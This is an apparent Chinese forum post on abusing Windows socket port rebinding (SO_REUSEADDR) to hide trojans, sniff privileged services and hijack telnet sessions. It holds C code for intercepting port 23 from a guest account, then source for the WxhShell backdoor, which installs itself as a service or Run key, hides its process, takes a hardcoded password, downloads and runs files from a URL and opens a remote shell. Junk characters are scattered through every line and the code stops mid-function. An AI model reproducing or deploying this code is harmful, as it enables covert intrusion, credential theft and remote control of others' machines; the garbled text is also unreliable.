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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BDcA_= ^R&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w9,w?%F  
28,g'k!  
  saddr.sin_family = AF_INET; ' p!\[* e  
W@WKdaJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i{MzQE+_^  
pIgjo>K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ` 7jdV  
D {N,7kT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Stk'|-z  
zuYz"-(L  
  这意味着什么?意味着可以进行如下的攻击: aMO+ y91Y(  
- -ZSl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /9<62F@zJ"  
WV,j <x9w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,K8(D<{  
/rzZU}3[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *GC9o/  
%R-KkK<S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FQO>%=&4  
HyJ&;4rf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T?EFY}f  
tS sDW!!M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #RTiWD[o  
oF=UjA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QmY1Bn?s  
xf 4`+[  
  #include T`K4nU#  
  #include mAuN* (  
  #include ct@i]}"`  
  #include    ,_U3p ,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A>Xt 5vk+  
  int main() >OW>^%\!1  
  { .WpvDDUK3  
  WORD wVersionRequested; 11BfJvs:  
  DWORD ret; o WcBQ|   
  WSADATA wsaData; ds<q"S {p  
  BOOL val; a{! 8T  
  SOCKADDR_IN saddr; RrRE$g  
  SOCKADDR_IN scaddr; )"H r3  
  int err; }NF7"tOL  
  SOCKET s; #RVN 7-x  
  SOCKET sc; [ |dQZ  
  int caddsize; .Eg[[K_iD  
  HANDLE mt; "V:E BR  
  DWORD tid;   O_[]+5.TX  
  wVersionRequested = MAKEWORD( 2, 2 ); $ v~I n  
  err = WSAStartup( wVersionRequested, &wsaData ); #( o(p  
  if ( err != 0 ) { [a\>"I\[  
  printf("error!WSAStartup failed!\n"); FW,@.CX  
  return -1; t.6gyrV7><  
  } N-<m/RS  
  saddr.sin_family = AF_INET; 3PRK.vf  
   x L]Z3"p%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I;3Uzv  
[LrA_N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L7 g4'  
  saddr.sin_port = htons(23); \"AzT{l!;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zR6^rq*  
  { % #-'|~  
  printf("error!socket failed!\n"); 6),VN>j  
  return -1; "&N1$$  
  } "|%'/p  
  val = TRUE; `'}c- Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +,A7XBn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~4C:2  
  { bT#re  
  printf("error!setsockopt failed!\n"); X8| 0RU@f  
  return -1; :Tn1]a)f6  
  } c(!8L\69V}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7 J+cs^2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2` j#eB1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s5D<c'-  
2kQa3Pan  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8[mj*^P  
  { z!/ MBM  
  ret=GetLastError(); iVqa0Gl+}  
  printf("error!bind failed!\n"); P4.snRQ  
  return -1; oZ"93]3-  
  } K!onV3mR  
  listen(s,2); h;`]rK;g  
  while(1) ZX03FJL7u  
  { }5a$Ka-  
  caddsize = sizeof(scaddr); 6/&aBE=  
  //接受连接请求 `6 `oLu\l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >2@ a\  
  if(sc!=INVALID_SOCKET) KvfZj  
  { /%5X:*:H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IiRII)  
  if(mt==NULL) {wyf>L0j  
  { n 2m!a0;  
  printf("Thread Creat Failed!\n"); {ZrB,yK  
  break; n> O3p ~  
  } t}2$no?  
  } 7(< z=F  
  CloseHandle(mt); _ ZC[h~9H  
  } a~"<lzu|$  
  closesocket(s); _M9-n  
  WSACleanup(); 7l|D!`BS  
  return 0; Lyj0$wbH`  
  }   3f^~mTY9>]  
  DWORD WINAPI ClientThread(LPVOID lpParam) KMZEUmY1R1  
  { Y~ ( <H e?  
  SOCKET ss = (SOCKET)lpParam; #Hyfj j  
  SOCKET sc; 2*9rhOK*  
  unsigned char buf[4096]; yHt `kb2  
  SOCKADDR_IN saddr; |m /XGr  
  long num; kEpCF:@A  
  DWORD val; k| Ye[GM*  
  DWORD ret; hY-;Vh0J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N>'|fNx]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    LAfv1  
  saddr.sin_family = AF_INET; o,;Hb4Eu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Lr}>Md  
  saddr.sin_port = htons(23); xBW{Wyh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6pi^rpo  
  { ZJeTx.Gi6  
  printf("error!socket failed!\n"); v9 K{oB  
  return -1; ~[d|:]  
  } m_n*_tX  
  val = 100; yk7l{F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Bk9? =  
  { XP'7+/A  
  ret = GetLastError(); 56Gc[<nR  
  return -1; ("$ ,FRTQ:  
  } mFu0$N6]H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iQnIk| 8  
  { 0nV|(M0lu?  
  ret = GetLastError(); U*7Yi-"/*  
  return -1; K oF4e:2>  
  } m6D]   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +~ L26T\8  
  { 69>N xr~k  
  printf("error!socket connect failed!\n"); KsMC+:`F  
  closesocket(sc); 8wQ|Ep\  
  closesocket(ss); ,@]rvI6 x  
  return -1; E8Q Y6gKF  
  } k yI-nE  
  while(1) ,F)9{ <r]  
  { t)hAD_sf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :Kt'Fm,s?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hB:}0@l6p=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9V5d=^  
  num = recv(ss,buf,4096,0); K)d]3V!  
  if(num>0) <R>%DD=v^  
  send(sc,buf,num,0); uh_ 2yw_  
  else if(num==0) X_nxC6[m%  
  break; lImg+r T{  
  num = recv(sc,buf,4096,0); "2~%-;c  
  if(num>0) RN"O/b}qQ  
  send(ss,buf,num,0); %W [#60  
  else if(num==0) O3>m,v  
  break; WFBVAD  
  } ]@D#<[5\  
  closesocket(ss); Q lg~S1D_v  
  closesocket(sc); 39+6ZTqx  
  return 0 ; g.re`m|Aj  
  } w2/3\3p  
!33)6*s  
0Zq jq0O#  
========================================================== #=* y7w  
JM?X]l  
下边附上一个代码,,WXhSHELL K V-}:u(  
>TqMb8e_  
========================================================== JO `KNI  
ZXR#t?D  
#include "stdafx.h" &bO5+[  
lIlmXjL0  
#include <stdio.h> ^KeJ=VT  
#include <string.h> ].C4RH  
#include <windows.h> jg7 WMH"`  
#include <winsock2.h> }&{z-/;H  
#include <winsvc.h> I3wv6xZ2  
#include <urlmon.h> ub* j&L=  
X\a*q]"_  
#pragma comment (lib, "Ws2_32.lib") :Vyr8+]  
#pragma comment (lib, "urlmon.lib") kA1C&  
D<35FD,  
#define MAX_USER   100 // 最大客户端连接数 ue;o:>G  
#define BUF_SOCK   200 // sock buffer m.K@g1G  
#define KEY_BUFF   255 // 输入 buffer ^XIVWf#`H  
;=?f0z<  
#define REBOOT     0   // 重启 dmkd.aP4  
#define SHUTDOWN   1   // 关机 &S8Pnb)d  
l1h;ng6  
#define DEF_PORT   5000 // 监听端口 g[d.lJ=Q-N  
V?*\ISB`}  
#define REG_LEN     16   // 注册表键长度 AK brXKx  
#define SVC_LEN     80   // NT服务名长度 *Ou)P9~-L  
]tzO)c)w;  
// 从dll定义API zL<<`u?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [ 4_JK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;F;"Uw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .%'$3=/oe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1Y-m=~J7  
pRAdo="  
// wxhshell配置信息 %SX)Z i=O  
struct WSCFG { Q0\tK=Z/  
  int ws_port;         // 监听端口 d,R  
  char ws_passstr[REG_LEN]; // 口令 W=9Zl(2C  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]^j'2nJv0  
  char ws_regname[REG_LEN]; // 注册表键名 \ tK{!v+  
  char ws_svcname[REG_LEN]; // 服务名 V*bX>D/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hik :Sqpox  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7 q%|-`#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bJz}\[z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no keBf^NY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -or^mNB_z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y8Bc &q}  
hLZ<h7:  
}; opKk#40  
(np %urx!  
// default Wxhshell configuration EAgNu?L  
struct WSCFG wscfg={DEF_PORT, SREe, e\  
    "xuhuanlingzhe", nlfu y[oX  
    1, Q^iE,_Zq  
    "Wxhshell", $\DOy&e  
    "Wxhshell", dHtbl\6  
            "WxhShell Service", kYVn4Wq  
    "Wrsky Windows CmdShell Service", soH M5<U  
    "Please Input Your Password: ", 0(Hhb#WDh\  
  1, z/,qQVv=}4  
  "http://www.wrsky.com/wxhshell.exe", 1ud+~y$K  
  "Wxhshell.exe" NiCH$+c\  
    }; aa'u5<<W  
$p)7k   
// 消息定义模块 huu v`$~y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *7ggw[~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kf.G'v46  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |9;6Cp  
char *msg_ws_ext="\n\rExit."; ,EAf/2C  
char *msg_ws_end="\n\rQuit."; !&3iZQGWv  
char *msg_ws_boot="\n\rReboot..."; ~is$Onf99#  
char *msg_ws_poff="\n\rShutdown..."; q:y_#r"_y  
char *msg_ws_down="\n\rSave to "; /lC&'hT  
$E_9AaX  
char *msg_ws_err="\n\rErr!"; }[[  
char *msg_ws_ok="\n\rOK!"; vu&%e\gM  
z g@,s"`>  
char ExeFile[MAX_PATH]; !F|mCEU  
int nUser = 0; {G+pI2^  
HANDLE handles[MAX_USER]; O%g%*9  
int OsIsNt; X/ \5j   
$ON4 nx  
SERVICE_STATUS       serviceStatus; abHW[VP9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vu%XoI)<KY  
vBM uVpzO  
// 函数声明 nj (/It  
int Install(void); ~4YLPMGKl  
int Uninstall(void); {EoRY/]  
int DownloadFile(char *sURL, SOCKET wsh); #q06K2  
int Boot(int flag); uA} w?;  
void HideProc(void); < O5r|  
int GetOsVer(void); ,Tb~+z|-[  
int Wxhshell(SOCKET wsl); ?HP54G<{xz  
void TalkWithClient(void *cs); ],fu#pi=]  
int CmdShell(SOCKET sock); QJcaOXyMS  
int StartFromService(void); zH1pW(  
int StartWxhshell(LPSTR lpCmdLine); 5kK:1hH7  
gbf-3KSp^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mp V3.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %7X<:f|N8x  
\WDL?(G<  
// 数据结构和表定义 62R9 4  
SERVICE_TABLE_ENTRY DispatchTable[] = {M7`z,,[  
{ JH%^FF2  
{wscfg.ws_svcname, NTServiceMain}, [|=#~(yYQ  
{NULL, NULL} ,s%1#cbR  
}; e~#"#?  
H O^3v34ZO  
// 自我安装 ~{#$`o=  
int Install(void) >t[beRcR6  
{ Wz}8O]#/.  
  char svExeFile[MAX_PATH]; ];-DqK'  
  HKEY key; qfO=_z ES  
  strcpy(svExeFile,ExeFile); ^1a/)Be{_  
PY4RwN  
// 如果是win9x系统,修改注册表设为自启动 ad\?@>[ I  
if(!OsIsNt) { 2 kOFyD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i/&?e+i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >|)ia5#  
  RegCloseKey(key); K/2k/\Jk[_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d6$,iw@>^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 14[+PoF^A  
  RegCloseKey(key); `]Uu`b  
  return 0; 69 PTo  
    } 2(-J9y|  
  } ?P+n0S!  
} z/JoU je  
else { KuU]enC3  
%:v59:i}  
// 如果是NT以上系统,安装为系统服务 @R5jUPUVV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h\oAW?^  
if (schSCManager!=0) kQ,#NR/q6  
{ }!5x1F!  
  SC_HANDLE schService = CreateService *4i)aj  
  ( O8; `6r  
  schSCManager, A`=;yD  
  wscfg.ws_svcname, .4M8  
  wscfg.ws_svcdisp, 0XrB+nt  
  SERVICE_ALL_ACCESS, Ub0hISA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !)jw o=l}J  
  SERVICE_AUTO_START, W+A-<Rh\  
  SERVICE_ERROR_NORMAL, tQSj[Yl  
  svExeFile, Qy)+YhE  
  NULL, Xq3n7d.  
  NULL, LvWl*:z  
  NULL, thoAEG80  
  NULL, ")/TbT Vu  
  NULL hX-([o  
  ); vv2N;/;I  
  if (schService!=0) y_^w|  
  { )'<B\P/  
  CloseServiceHandle(schService); ^2gDhoO_  
  CloseServiceHandle(schSCManager); +`EF0sux  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  T4}SF  
  strcat(svExeFile,wscfg.ws_svcname); xW$F-n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]=s!cfu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o/EN3J  
  RegCloseKey(key); GM.2bA(y  
  return 0; e&Z\hZBb  
    } T;cyU9  
  } Wq bfZx  
  CloseServiceHandle(schSCManager); g/)$-Z)Nu  
} }PZz(Ms  
} R&w2y$  
c0J=gZiP  
return 1; ;2o+|U@  
} 2v!ucd}  
A)5-w`1  
// 自我卸载 3Y\7+975m  
int Uninstall(void) Fq{Z-yVp  
{ )V!9/d  
  HKEY key; r52X}Y  
'~dE0ohWb  
if(!OsIsNt) { K3eYeXV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w#?@ulr]d  
  RegDeleteValue(key,wscfg.ws_regname); 8q)wT0A~  
  RegCloseKey(key); T Y|5O! <  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fI{ZElPp  
  RegDeleteValue(key,wscfg.ws_regname); u9WQ0.  
  RegCloseKey(key); pNOVyyo>BW  
  return 0; 2<d l23  
  } kI|Vv90l  
} FiTP-~  
} <O`yM2/pS  
else { s\c*ibxM,  
< q6z$c)K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  b>N) H  
if (schSCManager!=0) o8!gV/oy  
{ QN%w\ JXS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?/mkFDN  
  if (schService!=0) V:M$-6jv  
  { 'Ii%/ Ob!  
  if(DeleteService(schService)!=0) { (Bta vE  
  CloseServiceHandle(schService); 5lp L$  
  CloseServiceHandle(schSCManager); L*ZC` .h  
  return 0; {x{/{{wzv  
  } GP"(+5  
  CloseServiceHandle(schService); 7g-#v'.N  
  } btq`[gAF\  
  CloseServiceHandle(schSCManager); KFCL|9P  
} cz8%p;F:  
} m6%csh-N1  
jL$&]sQ`O)  
return 1; fV-vy]x..  
} Jjb(lW  
9aLS%-x!+  
// 从指定url下载文件 &G5=?ub  
int DownloadFile(char *sURL, SOCKET wsh)  N-x~\B!  
{ {VWUK`3  
  HRESULT hr; )I80Nq  
char seps[]= "/"; $#4J^(I*:  
char *token; 5XO eYO{  
char *file; ,"U8Fgf[r  
char myURL[MAX_PATH]; !/4f/g4Ze  
char myFILE[MAX_PATH]; ?Rc+H;x=f  
!6eXJ#~[E  
strcpy(myURL,sURL); Luxo,Ve  
  token=strtok(myURL,seps); Zk+J=Cwq}  
  while(token!=NULL) T-Od|T@[  
  { {VC4rA  
    file=token; &9CKI/K:  
  token=strtok(NULL,seps); F+;{s(wx  
  } o C]tEXJ  
p100dJvq  
GetCurrentDirectory(MAX_PATH,myFILE); 20hF2V  
strcat(myFILE, "\\"); sSLs%)e|:  
strcat(myFILE, file); c5uT'P"  
  send(wsh,myFILE,strlen(myFILE),0); {}?;|&_  
send(wsh,"...",3,0); 0A%>'<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z+!3m.q  
  if(hr==S_OK) aqvt$u8  
return 0; >3H/~ Y  
else myT z  
return 1; NI eKS_ +  
!HA[:-JCz  
} |>( @n{  
I*e8 5wef  
// 系统电源模块 G Q&9b_  
int Boot(int flag) G"CV S@  
{ 3F,$} r#  
  HANDLE hToken; Si<9O h  
  TOKEN_PRIVILEGES tkp; |H67ny&K^&  
[Rh[Z# 6  
  if(OsIsNt) { W~GbB:-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .p%p_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .. qAE.%%  
    tkp.PrivilegeCount = 1; } d / 5_X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rs01@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,63hO.4M  
if(flag==REBOOT) { t&UPU&tY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /#Y)nyE  
  return 0; M.K-)r,  
} 73/kyu-0%  
else { %H:uE*WZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W1X\!Y  
  return 0; bS{7*S  
} ![WX -"lW  
  } Nw@tlT4  
  else { DG8LoWZ  
if(flag==REBOOT) { >;',U<Wd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $AAv%v  
  return 0; <{7CS=)  
} i^9PiP|U  
else { v}hmI']yf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dm/# \y3  
  return 0; eqcV70E8cK  
} %dTkw+J  
} 66<3zadJZU  
SCk2D!u  
return 1; l-"c-2-!  
} aH)$#6${Ap  
3kFOs$3  
// win9x进程隐藏模块 7s_#X|A$  
void HideProc(void) &H!3]  
{ :.['e`  
^Ye i9bXl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "}UJ~ j).  
  if ( hKernel != NULL ) #Ag-?k  
  { bkkhx,Oi[G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |w2H5f{fR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gnmKh>0@6o  
    FreeLibrary(hKernel); J=4R" _yo  
  } u-Pa:wm0-  
Y|J\,7CM  
return; |pJ)w  
} qG7^XO Ws-  
A87JPX#R?  
// 获取操作系统版本 ud K)F$7  
int GetOsVer(void) 'v^CA}  
{ c[ ]_gUp8  
  OSVERSIONINFO winfo; bs!N~,6h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5uMh#dm^  
  GetVersionEx(&winfo); v_f8zk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~lMw*Qw^  
  return 1; "bAkS}(hB(  
  else 43pQFDWa  
  return 0; <=8REA?  
} V6"<lK8"  
#|fa/kb~  
// 客户端句柄模块 4g]Er<-P  
int Wxhshell(SOCKET wsl) ?Y2ZqI  
{ ~vnG^y>%  
  SOCKET wsh; -x2/y:q`  
  struct sockaddr_in client;  5k.NZ  
  DWORD myID; *@fR36  
FX7=81**4  
  while(nUser<MAX_USER) z]ZhvH7-  
{ vlth\ [  
  int nSize=sizeof(client); 3DnlXH(h1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9^h\vR|]S  
  if(wsh==INVALID_SOCKET) return 1; mD-qJ6AM  
iph>"b$D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _f$8{&`k  
if(handles[nUser]==0) 5Jq~EB{"  
  closesocket(wsh); obRR))  
else *]~ug%a  
  nUser++; tVd\r"0k  
  } 2yR*<yj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); + 8 5]]}I  
2<wuzP|  
  return 0; -}0S%|#m  
} Et ty{r}  
 sBY*9I  
// 关闭 socket tWQ_.,ld  
void CloseIt(SOCKET wsh) ;>_\oZGj_  
{ cVJ"^wgBt  
closesocket(wsh); V0 x[sEW  
nUser--; {~>?%]tf  
ExitThread(0); +9G GC  
} Yu-e |:  
#+HLb  
// 客户端请求句柄 w\k|^  
void TalkWithClient(void *cs) C J S  
{ _x 'R8/  
pkpD1c^  
  SOCKET wsh=(SOCKET)cs; IRNL(9H  
  char pwd[SVC_LEN]; b'Qia'a%  
  char cmd[KEY_BUFF]; ,ii*[{X?  
char chr[1]; 0F-X.Dq  
int i,j; $A"kHS7T  
^pZ1uN!b  
  while (nUser < MAX_USER) { >k,|N4(  
J]/TxUE  
if(wscfg.ws_passstr) { 1o)@{x/pd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;hGC.}X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R;&C6S  
  //ZeroMemory(pwd,KEY_BUFF); By{zX,6'  
      i=0; A<l8CWv[  
  while(i<SVC_LEN) { jZeY^T)f"  
tGnBx)J|  
  // 设置超时 N&7= hni  
  fd_set FdRead; bqp6cg\p  
  struct timeval TimeOut; XJy~uks,  
  FD_ZERO(&FdRead); zb.^ _A  
  FD_SET(wsh,&FdRead); ;EbGW&T  
  TimeOut.tv_sec=8; !s pp*Q)#\  
  TimeOut.tv_usec=0; Ig75bZz   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); occ^bq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T%~w~stW  
01N "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w naP?|/  
  pwd=chr[0]; 0 3fCn"  
  if(chr[0]==0xd || chr[0]==0xa) { exw~SvT3  
  pwd=0; ,gGIkl&  
  break; &C<K|F!j!  
  } cHOtMPyQ  
  i++; MTo<COp($  
    } nmZz`P9g  
73B,I 0U  
  // 如果是非法用户,关闭 socket "V-k_d "  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); > nV~5f+  
} A^:[+PJHN  
>Jh*S`e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F8M&.TE_3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y\K r@;q0w  
 H"czF  
while(1) { K}"xZy Tm1  
x8k7y:  
  ZeroMemory(cmd,KEY_BUFF); 's>   
a5=8zO#%g  
      // 自动支持客户端 telnet标准   W_l/Jpv!W  
  j=0; wBZ=IMDu\  
  while(j<KEY_BUFF) { 1O@ qpNm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k#Qav1_  
  cmd[j]=chr[0]; bA}9He1  
  if(chr[0]==0xa || chr[0]==0xd) { 4-;"w;  
  cmd[j]=0; {Q],rv|;  
  break; FY_.Vp  
  } sC >_ulkoa  
  j++; [ZC]O2'  
    } ir/m. ~?  
Klfg:q:j+b  
  // 下载文件 )!.ef6|  
  if(strstr(cmd,"http://")) { rD=8O#m g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WLl_;BgN  
  if(DownloadFile(cmd,wsh)) }5c%v1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h}-}!v  
  else `G*7y7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zQ3m@x  
  } +GCN63 nX  
  else { {hQ0=rv<  
K"u-nroHW  
    switch(cmd[0]) { HT&CbEa4'  
  & $E[l'  
  // 帮助 uQh dg4  
  case '?': { F5UvD[i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]v^/c~"${  
    break; fy+fJ )4sj  
  } mdjPK rF<  
  // 安装 &*2\1;1tB  
  case 'i': { biAI*t  
    if(Install()) AsFn%8_I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _CqVH5U?  
    else _8t5rF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I5]=\k($  
    break; 1o"/5T:S[  
    } |vW(;j6  
  // 卸载 .{+KKa $@G  
  case 'r': { xz2U?)m;x  
    if(Uninstall()) ;pe1tp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H$'|hUwds%  
    else U\aP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Sds5 d  
    break; +B(x:hzY9  
    } {UqSq  
  // 显示 wxhshell 所在路径 wM.z/r\p  
  case 'p': { g4b-~1[S  
    char svExeFile[MAX_PATH]; ?LJ$:u  
    strcpy(svExeFile,"\n\r"); \H(r }D$u<  
      strcat(svExeFile,ExeFile); _vOV(#q2a  
        send(wsh,svExeFile,strlen(svExeFile),0); @1+C*  
    break; 8VG6~>ux'>  
    } ^n8ioL\*i  
  // 重启 AI KLJvte  
  case 'b': { -& Qm"-?:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MJ5Ymt a  
    if(Boot(REBOOT)) FY;\1bt<<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MTBHFjXO  
    else { k3[rO}>s  
    closesocket(wsh); u.v 5!G  
    ExitThread(0); _N8Tu~lqV  
    } ?%RAX CK  
    break; be&5vl  
    } L8OW@)|  
  // 关机 6Gt~tlt:L  
  case 'd': { [zXKS |  
